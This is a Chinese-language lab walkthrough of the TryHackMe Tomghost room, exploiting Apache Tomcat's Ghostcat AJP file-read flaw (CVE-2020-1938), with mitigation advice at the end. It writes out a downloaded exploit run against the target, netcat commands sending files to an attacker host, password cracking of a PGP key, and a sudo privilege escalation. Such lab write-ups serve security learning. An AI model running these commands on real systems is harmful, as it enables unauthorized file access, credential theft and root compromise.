以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

1. 概述

1.1 Apache Tomcat

Tomcat服务器是一个免费的开放源代码的Web应用服务器,被普遍使用在轻量级Web应用服务的构架中。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。

1.2 漏洞简述

CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

1.3 风险等级

评定方式等级
CVSS Score7.5
Confidentiality ImpactPartial
Integrity ImpactPartial
Availability ImpactPartial
实现难度
基础权限不需要
漏洞类型Execute Code

在这里插入图片描述

1.4 影响范围

在这里插入图片描述

1.5 漏洞详情

参见Apache Tomcat CVE-2020-1938,细思极恐&Apache Tomcat任意文件读取漏洞和命令执行漏洞源码分析

2. 环境配置

2.1 方案一: Tryhackme线上虚拟环境

在这里插入图片描述

2.2 方案二

3. 漏洞复现

3.1 Initial Recon

  1. 使用Nmap扫描,发现Apache运行在8080端口,8009端口运行ajp服务,
    nmap -sV -sC -T4 <ip>

    在这里插入图片描述

    首页就是Apache的默认页面,没啥有用的,其他页面也无法访问

    在这里插入图片描述

    在这里插入图片描述

  2. Google或Hackticks搜索AJP的相关内容

    1. Google后GitHub上发现可以越权读取web.xml文件的EXP
    2. Hackticks也提供了利用代码(需要修改,本文采用方法一)

    在这里插入图片描述

    在这里插入图片描述

3.2 Gaining Access

  1. 下载方法一提供的EXP

    wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py

    在这里插入图片描述

  2. 运行EXP,获得了一个用户名和密码

    python3 ajpShooter.py http://10.10.76.159 8009 /WEB-INF/web.xml read

    在这里插入图片描述

  3. 使用上文获得的用户名和密码进行ssh登录,并发现有两个貌似可以利用的文件:.pgp和.asc!

    在这里插入图片描述
    在这里插入图片描述

  4. 为了更好的读取两个文件使用nc将他们传到kali上,然后进行base64解码

    base64 credential.pgp | nc 10.9.17.195 1234

    base64 tryhackme.asc | nc 10.9.17.195 1234

    nc -nvlp 1234 > credential.pgp.b64

    nc -nvlp 1234 > tryhackme.asc.b64

    在这里插入图片描述

  5. 猜测这个在asc文件中的PGP key是用来打开pgp文件的,那么先来尝试破解这个asc文件,将其转换为hash,然后使用John破解

    base64 -d credential.pgp.b64 > credential.pgp

    base64 -d tryhackme.asc.b64 > tryhackme.asc

    gpg2john tryhackme.asc > tryhackme.asc.john

    john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john

    在这里插入图片描述

  6. 得到密码后,将破解的key导入到asc文件,然后输入得到的密码,最后得到解密后的pgp文件,发现另外一个用户名

    gpg --import tryhackme.asc

    gpg --decrypt credential.pgp

    在这里插入图片描述

3.3 Privilege Escalation

  1. 使用新获得的用户名和密码ssh登录,使用sudo命令查看当前权限,发现当前用户能够以root权限运行zip并且不需要密码

    在这里插入图片描述

  2. 使用GTFObins提供的方法进行提权

    在这里插入图片描述

    在这里插入图片描述

4. 修复建议

  1. 临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
  2. 将tomcat升级到9.0.31、8.5.51或者7.0.100版本
  3. 配置secret来设置AJP协议的认证凭证

5. 总结

Apache Tomcat CVE-2020-1938这个漏洞确实凶猛,攻击者可以读取到webapp目录下的任意文件,包括war包。而war包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名secret、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译war包里的class文件得到的。

为了避免密钥泄露,常规做法(不要硬编码密钥到源代码、密钥单独放置在properties文件并且和源代码分别存储在不同的代码仓库)并不奏效,更为妥善的办法是使用密钥管理服务,你可以直接使用云服务提供商的密钥管理服务,也可以自己搭建一个。

安全原则是很重要的,尤其是最小权限和纵深防御原则。在这个漏洞案例中,就算你使用的Tomcat有问题,但由于相关端口已经关闭,而且还有好几层的网络映射和路由配置的防御,所以也不会受到影响。当然,第三方组件安全管理、安全补丁管理、实施端口监控等手段也有助于减轻或避免这个漏洞带来的影响。

6. References

CVE Details (2020) CVE-2020-1938. Available at: https://www.cvedetails.com/cve/CVE-2020-1938/…(Accessed: 22 Oct 2022).

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值